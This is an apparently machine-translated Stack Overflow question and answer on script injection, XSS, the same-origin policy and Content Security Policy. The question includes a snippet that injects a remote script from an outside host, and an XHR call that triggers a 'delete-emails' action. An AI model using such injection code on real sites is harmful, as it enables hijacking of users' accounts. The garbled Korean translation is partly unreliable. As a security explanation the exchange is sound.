0

일부 서버에서는 src과 스크립트 요소를 동적으로 삽입 할 수 있습니다.스크립트 삽입을 통한 원격 제어

우리는 다른 서버로 데이터를 보낼 수 없습니다 인해 기원 정책, 하지만 우리가 같은 것들을 할 수있는 동일 :

  • 가게에 일부 주문을 일부 MailService 인터페이스에서 모든 이메일을 삭제를
  • 쓰기 socialnetwork의 메시지 등등 ...

원인 스크립트에 주입 페이지 x 서버 및 요청은 서버 A, 아무 것도 잘못되었습니다 - 동일한 원본 정책이 작동하지 않습니다.

서버가 기본적으로이 서버로부터 보호되지 않습니까? 보호 서버에서

우리가 이것을 얻었다 :

는 다음과 같은 콘텐츠 보안 정책 지침 위반 스크립트를로드 거부 "스크립트 src에 '안전하지 않은-평가', '안전하지 않은 인라인'

q=document.createElement('script'); 
q.src='http://myserver.com/inject.js'; 
document.head.append(q); 

이러한 스크립트가 크롬의 확장에 랩 및 설치할 수 있습니다. (내가 잘못 여기 아니면 확장이 좀 더 제한을 가지고 있습니까?)

내가 stackoverflow.com에 페이지를 (머리에) 스크립트 요소를 삽입하면, 내가 200 OK를 얻을 예를 들어,

var xhr = new XMLHttpRequest(); 
xhr.open('GET', 'http://stackoverflow.com/?delete-emails'); 
xhr.onreadystatechange = function() { 
    if (this.readyState === 4 && this.status === 200) { 
     console.log(location.href); 
    } 
}; 
xhr.send(); 

:3210

그리고 여기가 가정 서버 삭제 - 이메일의 PARAM와 요청을 처리 inject.js입니다.

답변

2

원인 스크립트가 서버 A에서 페이지 x에 삽입되었으므로 서버 A에 요청이 보내지는데 아무런 문제가 없습니다. 동일한 원본 정책이 작동하지 않습니다.

기본적으로 서버가이 서버로부터 보호되지 않습니까?

맞아요. 귀하가 설명하는 내용은 Cross-site Scripting (XSS)이며 동일한 출처 정책이 귀하를 보호하지 않습니다. 보호 서버에서

우리가 이것을 얻었다 :

는 다음과 같은 콘텐츠 보안 정책 지침 위반 스크립트를로드 거부 "스크립트 src에 '안전하지 않은-평가', '안전하지 않은 인라인'

Content Security Policy은 동일 원산지 정책과 다르며 서버에서 페이지 허용 범위를 제한 할 수있는 메커니즘입니다.이는 공격자가 스크립트를 삽입 할 수있는 경우에도 브라우저가 CSP를 위반하지 못하도록하므로 XSS를 방지하는 데 도움이됩니다.

이러한 스크립트는 Chrome 확장 프로그램으로 래핑되어 설치 될 수 있습니다.

일반적으로 브라우저 확장을 사용하면 일반적인 브라우저 보안 정책으로부터 안전하지 않은 모든 종류의 안전하지 않은 작업을 수행 할 수 있다고 가정해야합니다. 서로 다른 브라우저 확장 프레임 워크는 다른 보안 기능을 제공하지만 브라우저간에 표준화 된 것은 아닙니다. Chrome에서 허용하는 항목에 대해 구체적인 질문이있는 경우 별도의 질문을 게시해야합니다.